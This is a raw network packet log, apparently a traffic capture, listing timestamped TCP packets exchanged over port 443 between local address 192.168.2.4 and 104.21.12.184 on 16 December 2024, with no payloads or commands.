Dec 16, 2024 21:02:21.697504997 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.839143991 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.839191914 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.839222908 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.839262009 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.839310884 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.839312077 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.846434116 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.846473932 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.846503019 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.846518040 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.846545935 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.846579075 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.854623079 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.854662895 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.854691029 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.854703903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.854737997 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.854737997 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.862520933 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.862560987 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.862591028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.862601995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.862636089 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.862636089 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.868355036 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.868396044 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.868429899 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.868441105 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.868468046 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.868488073 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.874484062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.874522924 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.874577999 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.874592066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.874620914 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.874780893 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.881918907 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.881961107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.881990910 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.882003069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.882047892 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.882070065 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.889234066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.889272928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.889313936 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.889324903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:21.889352083 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:21.889370918 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.032530069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.032552004 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.032624960 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.032669067 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.032713890 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.039627075 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.039644957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.039707899 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.039721966 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.039788008 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.046564102 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.046581984 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.046647072 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.046675920 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.046730995 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.053209066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.053231955 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.053280115 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.053292036 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.053322077 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.053340912 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.060965061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.060991049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.061043024 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.061054945 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.061103106 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.061103106 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.067713976 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.067733049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.067790985 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.067804098 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.067889929 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.074803114 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.074824095 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.074870110 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.074882030 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.074927092 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.074928045 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.082823038 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.082840919 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.082891941 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.082911015 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.082932949 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.083000898 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.224603891 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.224630117 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.224769115 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.224833012 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.230099916 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.231983900 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.232002974 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.232074022 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.232088089 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.233104944 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.238574028 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.238591909 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.238660097 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.238672018 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.242052078 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.245949984 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.245969057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.246042967 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.246058941 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.246088982 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.246110916 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.253684998 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.253729105 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.253808022 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.253818989 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.254065037 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.260209084 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.260226965 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.260284901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.260298014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.260324955 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.260360003 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.267529964 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.267549038 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.267616987 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.267631054 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.269057989 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.274028063 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.274046898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.274122000 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.274136066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.278038025 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.417426109 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.417447090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.417536974 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.417565107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.422039032 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.423875093 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.423896074 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.423959017 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.423990011 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.424297094 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.431874990 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.431894064 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.431963921 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.431977987 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.434026957 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.438592911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.438611031 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.438672066 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.438683033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.440076113 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.445991039 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.446011066 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.446067095 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.446080923 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.446114063 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.446151018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.452991009 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.453008890 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.453074932 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.453088045 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.453128099 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.453149080 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.459714890 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.459733009 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.459799051 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.459810972 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.459836006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.459990978 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.467124939 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.467144012 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.467201948 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.467256069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.467293024 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.467343092 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.609071970 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.609097004 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.609173059 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.609174013 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.609234095 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.609286070 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.616472960 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.616492033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.616568089 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.616585016 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.616743088 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.623807907 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.623826981 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.623876095 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.623892069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.623919964 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.623940945 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.630564928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.630584002 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.630641937 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.630677938 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.630709887 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.630731106 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.637753010 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.637770891 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.637837887 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.637862921 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.637924910 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.644831896 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.644850969 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.644905090 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.644917965 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.644944906 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.644967079 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.652282953 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.652302027 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.652359009 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.652379990 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.652400970 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.652569056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.659518003 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.659535885 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.659584999 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.659595966 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.659621954 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.659638882 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.802018881 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.802046061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.802100897 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.802129030 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.802160978 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.802192926 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.808506966 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.808526993 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.808582067 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.808597088 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.808624983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.808674097 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.815824986 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.815845966 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.815901041 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.815913916 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.815941095 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.815960884 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.823951006 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.823968887 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.824024916 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.824035883 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.824060917 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.824079990 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.829744101 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.829763889 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.829809904 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.829819918 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.829844952 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.829945087 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.837481976 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.837502003 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.837548018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.837558985 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.837584972 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.837605000 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.844006062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.844024897 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.844069958 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.844083071 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.844110012 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.844132900 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.852165937 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.852184057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.852231026 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.852242947 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.852268934 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.852358103 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.994323969 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.994349957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.994405985 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.994434118 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:22.994484901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:22.994484901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.000680923 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.000700951 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.000755072 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.000781059 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.000806093 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.000827074 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.008061886 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.008080959 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.008133888 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.008147001 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.008173943 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.008286953 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.015434027 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.015455008 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.015503883 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.015515089 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.015542030 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.015562057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.021845102 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.021863937 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.021902084 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.021945000 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.021956921 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.022011995 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.029699087 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.029720068 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.029772043 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.029783964 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.029809952 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.029827118 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.036161900 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.036185980 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.036242008 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.036258936 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.036284924 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.036300898 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.043937922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.043962955 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.044013023 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.044024944 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.044049978 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.044089079 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.189300060 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.189323902 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.189382076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.189407110 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.189429998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.189450979 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.196700096 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.196718931 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.196765900 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.196777105 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.196804047 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.196824074 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.203248024 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.203268051 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.203330040 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.203352928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:23.203382015 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.203412056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:23.210653067 CET	443	49774	104.21.12.184	192.168.2.4
